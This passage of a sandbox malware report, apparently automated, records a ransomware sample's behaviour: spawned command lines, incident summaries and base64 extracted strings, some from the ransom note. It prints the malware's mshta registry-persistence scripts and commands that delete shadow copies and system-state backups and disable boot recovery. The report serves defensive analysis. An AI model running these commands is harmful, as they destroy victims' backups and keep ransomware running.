Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"\" with commandline \"runas\""},{"type":"process","process_uid":"00016469-00003828","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\""},{"type":"process","process_uid":"00017590-00003040","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"\""},{"type":"process","process_uid":"00017674-00002524","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('deep.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\LMeWCFyUXhYBLR',i);}catch(e){}}"},{"type":"linebreak"},{"type":"text","value":"10);\"\""},{"type":"process","process_uid":"00018756-00002344","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\IZXJ[\\\\CWBBP'));close();\"\""},{"type":"process","process_uid":"00018763-00002328","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\""},{"type":"process","process_uid":"00018995-00003448","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c wmic SHADOWCOPY DELETE\""},{"type":"process","process_uid":"00019026-00003472","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c vssadmin Delete Shadows /All /Quiet\""},{"type":"process","process_uid":"00019050-00003624","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} recoveryenabled No\""},{"type":"process","process_uid":"00019063-00003736","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\""},{"type":"process","process_uid":"00019094-00001104","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\""},{"type":"process","process_uid":"00019096-00003444","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\""},{"type":"process","process_uid":"00019136-00003816","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\""},{"type":"process","process_uid":"00019155-00004044","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\""},{"type":"process","process_uid":"00019159-00003844","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\""},{"type":"process","process_uid":"00019208-00003880","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/C NET USE\""},{"type":"process","process_uid":"00019705-00003780","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"net.exe\" with commandline \"NET USE\""},{"type":"process","process_uid":"00019711-00003684","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\""},{"type":"process","process_uid":"00020827-00003560","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('deep.exe');close()}catch(e){}}"},{"type":"linebreak"},{"type":"text","value":"10);\"\""},{"type":"process","process_uid":"00020855-00003552","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"notepad.exe\" with commandline \"\"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\""},{"type":"process","process_uid":"00020865-00003564","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null}],"detonation_parameters":{"action_script":"default","experimental_anti_evasion":true,"script_logging":false,"allow_sample_tampering":false,"network_mode":"default","custom_system_date_time":null,"custom_commandline":null,"document_password":null,"document_password_exists":false,"environment_variable":null,"dynamic_analysis_time":45,"comment":null},"falcon_mal_query_results":[],"falcon_intelligence_data":null,"search_tags":[],"execution_mode":"KERNELMODE","monitor_script":"default.au3","monitor_script_description":"Default analysis","windows_version_name":"Windows 7","windows_version_edition":"Home Premium","windows_version_service_pack":"Service Pack 1","windows_version_version":"6.1 (build 7601)","windows_version_bitness":"32","custom_date_time":null,"sandbox_version":"8.10","report_generator_version":null,"signature_engine_version":null,"mitre_version":null,"office_analysis":false,"office_version":null,"incidents":[{"name":"Remote Access","details":["Reads terminal service related keys (often RDP related)"]},{"name":"Ransomware","details":["The analysis extracted a known ransomware file","Deletes volume snapshots (often used by ransomware)","Detected indicator that file is ransomware","Changes the desktop background picture"]},{"name":"Persistence","details":["Writes data to a remote process","Modifies auto-execute functionality by setting/creating a value in the registry","Disables startup repair","Tries to suppress failures during boot (often used to hide system changes)","Spawns a lot of processes"]},{"name":"Fingerprint","details":["Reads the system/video BIOS version","Reads the active computer name","Reads system information using Windows Management Instrumentation Commandline (WMIC)"]},{"name":"Evasive","details":["Possibly tries to evade analysis by sleeping many times"]},{"name":"Spreading","details":["Opens the MountPointManager (often used to detect additional infection locations)"]}],"icon":"$2f","visualization":"$30","classification":["42.5% (.EXE) Win32 Executable (generic)","19.5% (.EXE) Win16/32 Executable Delphi generic","18.9% (.EXE) Generic Win/DOS Executable","18.8% (.EXE) DOS Executable Generic","0.0% (.CEL) Autodesk FLIC Image File (extensions: flc, fli, cel)"],"dns_requests":[],"contacted_hosts":[],"contacted_countries":{"countries":[],"coordinates":[]},"port_infos":[],"extracted_strings":{"all":[{"value":"ISRPbFkiLXlRZn5BY2Ey","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ISddTlhONmk4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ITY0NyFlU14j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IUZXdjppWT4/KA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IWhJajhJLk9f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IWhRPyNAaUs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IXpUaypobFYq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IiVVU0VSUFJPRklMRSVcSE9XIFRPIFJFQ09WRVIgRU5DUllQVEVEIEZJTEVTLlRYVCI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"notepad.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IixubnV1bnkgUSBMIFE=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IjYpV2o1V0B4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ij58PzlnXlkhTEo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IlwsL1tdOjw+Kz07PyQje31+YF5AIScoKSo=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IkRlc2NyaXB0aW9uIixSZWxQYXRoPSI=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IkchJ0cjZyAp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ImphdmFzY3JpcHQ6ZXZhbChuZXcgQWN0aXZlWE9iamVjdCgnV1NjcmlwdC5TaGVsbCcpLlJlZ1JlYWQoJ0hLQ1VcXFNvZnR3YXJlXFxJWlhKW1xcQ1dCQlAnKSk7Y2xvc2UoKTsi","type":"Ansi","source":"Process Commandline","process":null,"filename":"mshta.exe","compromised":null,"detection_total":null,"total":null},{"value":"ImphdmFzY3JpcHQ6bz1uZXcgQWN0aXZlWE9iamVjdCgnU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QnKTtzZXRJbnRlcnZhbChmdW5jdGlvbigpe3RyeXtvLkRlbGV0ZUZpbGUoJ2RlZXAuZXhlJyk7Y2xvc2UoKX1jYXRjaChlKXt9fSwxMCk7Ig==","type":"Ansi","source":"Process Commandline","process":null,"filename":"mshta.exe","compromised":null,"detection_total":null,"total":null},{"value":"ImphdmFzY3JpcHQ6bz1uZXcgQWN0aXZlWE9iamVjdCgnV1NjcmlwdC5TaGVsbCcpO3g9bmV3IEFjdGl2ZVhPYmplY3QoJ1NjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0Jyk7c2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXt0cnl7aT14LkdldEZpbGUoJ2RlZXAuZXhlJykuUGF0aDtvLlJlZ1dyaXRlKCdIS0NVXFxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVuT25jZVxcTE1lV0NGeVVYaFlCTFInLGkpO31jYXRjaChlKXt9fSwxMCk7Ig==","type":"Ansi","source":"Process Commandline","process":null,"filename":"mshta.exe","compromised":null,"detection_total":null,"total":null},{"value":"IktpWUM5ZEAl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IlF1YWxpZmllclZhbHVlIiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"InVccFpVXiFhMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ilh8eSh4J1E=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I0NtOCJkP3kt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I2RtX2MuPXYqLixS","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I3ZqTjRuazw0TUpH","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I1ZUMTpCZnc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I1l1Pm49XC5ZPg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JDJaNkFMZlRgOjFI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JF54d3xPJllmOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JFA7JGxFPyR8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JHFVbVphPjhl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JFc9TXgwcydqdg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JSVlUlchckc+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JS0yNXMgLSAlcw==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS0yNXMtICUuNDhzLi4u","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS0yNXMtICVz","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS0zNXMlLTIwcyUtMTBz","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS4yZC0lLjJkLSUuNGRUJS4yZDolLjJkOiUuMmQ=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS4yZC8lLjJkLyUuNGQ=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS4yZDolLjJkOiUuMmQ6JS4zZA==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JThGUTpmS2dC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JUFQUERBVEElXGRlZXAuZXhl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JWNMZHRkLTBy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJDb250cm9sIFBhbmVsIChDYXRlZ29yeSkiJQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJDb250cm9sIFBhbmVsIiU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJJbnRlcm5ldCBFeHBsb3JlciIl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJJbnRlcm5ldCBFeHBsb3JlciIlIHswMDAyMTRFNi0wMDAwLTAwMDAtQzAwMC0wMDAwMDAwMDAwNDZ9IDB4RkZGRg==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJOZXR3b3JrIFBsYWNlcyAoV29ya2dyb3VwKSIl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJOZXR3b3JrIiU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJSZWN5Y2xlIEJpbiIl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JWQgJXMgJXMgdGhyZWFkOiVkIFslcy4lZF0=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JWUuUGgvXCAiWQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JXM8L1JFU1VMVEFOVFFVRVJZPg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVVxRVF2UyNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JXggJXMgJXMgdGhyZWFkOiVkIFslcy4lZF0=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JlF2JTw0XDk9Sw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Jlc5MWMpJCw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JlogQ2xjRjxt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JlpUR1Ezeixp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J0J1eSBiaXRjb2lucycsIGFuZCBzZWxlY3QgdGhlIHNlbGxlciBieSBwYXltZW50IG1ldGhvZCBhbmQgcHJpY2U6","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"J2NSIVlsbVVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J0QmbWdbSXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J0Q1ZVBRPEg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J0lgISJEcU0uYA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J1JkQyZ6US9Z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KC9qZ0ZROlkm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KGFYJWBoJCVg","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KENMU0lEX1diZW1PYmplY3RUZXh0U3JjLCBOVUxMLENMU0NUWF9JTlBST0NfU0VSVkVSLCBJSURfSVdiZW1PYmplY3RUZXh0U3JjLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KGRhdGFiYXNlcyw=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"KEwiJXMiLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KEwiQ0lNVFlQRSIsIDAsIC0sIE5VTEwp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KEwiRXhjbHVkZVN5c3RlbVByb3BlcnRpZXMiLDAsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KEw3Jy1LZGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KHE9L0hwQVJp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KHNjWmR8YnZx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KHRoZXkgYWRkIHRoZWlyIGZlZSB0byBvdXIpIG9yIHlvdSBjYW4gYmVjb21lIGEgdmljdGltIG9mIGEgc2NhbS4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KHRsdGB4VEpY","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KSAwVjMyaDAmeg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KSJDY3dlLiAs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KSZ5b2ZES05J","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KT0rXk8tflc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KV9wMDh9c3VP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KUtNYGZBXGE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KX1FMldvcCRY","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KiBBbHNvIHlvdSBjYW4gZmluZCBvdGhlciBwbGFjZXMgdG8gYnV5IEJpdGNvaW5zIGFuZCBiZWdpbm5lcnMgZ3VpZGUgaGVyZTo=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBEZWNyeXB0aW9uIG9mIHlvdXIgZmlsZXMgd2l0aCB0aGUgaGVscCBvZiB0aGlyZCBwYXJ0aWVzIG1heSBjYXVzZSBpbmNyZWFzZWQgcHJpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBEbyBub3QgcmVuYW1lIGVuY3J5cHRlZCBmaWxlcy4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBEbyBub3QgdHJ5IHRvIGRlY3J5cHQgeW91ciBkYXRhIHVzaW5nIHRoaXJkIHBhcnR5IHNvZnR3YXJlLCBpdCBtYXkgY2F1c2UgcGVybWFuZW50IGRhdGEgbG9zcy4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBUaGUgZWFzaWVzdCB3YXkgdG8gYnV5IGJpdGNvaW5zIGlzIExvY2FsQml0Y29pbnMgc2l0ZS4gWW91IGhhdmUgdG8gcmVnaXN0ZXIsIGNsaWNr","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KkBhbTR2RXFv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KmImVyZFX35i","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KycjXSdAOjkq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Kz0zNHA+YG1K","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Kz9RJllbaFBx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"K1RrV0w+Ryk5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"K3glT18wfEQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LCAwTCwgTCIlcyIsIE5VTEwsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LCBVdGlsaXR5IHJldHVybmVkIGVycm9yIElELg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LCFIeE5edURz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LCsiPCRNOjAp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LC9bXTo8Pis9Oz8kI3t9fmBeQCEnKCkq","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LDEsIC0sIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LD1XIEAjITs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LFtgc1ooQS0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LGNfX19fX18s","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"LHFycGJ5NFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LHUzTWx0Xmo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LSBTdWNjZWVkZWQgJXMgJXMgdGhyZWFkOiVkIFslcy4lZF0=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LSFAXTVDeW1f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LSNBfj49d25m","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ==","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"LTBYX2soeilk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LUQ3PFkpWExOIlo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LVlWXXlsLEht","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LjEuNzYwMC4xNjM4NSAod2luN19ydG0uMDkwNzEzLTEyNTUp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LjZsfic7PD8w","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LjdPLlhUTi5L","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVl9jb21fZXJyb3JAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmJhZF9hbGxvY0BzdGRAQA==","type":"Ansi","source":"Memory/File 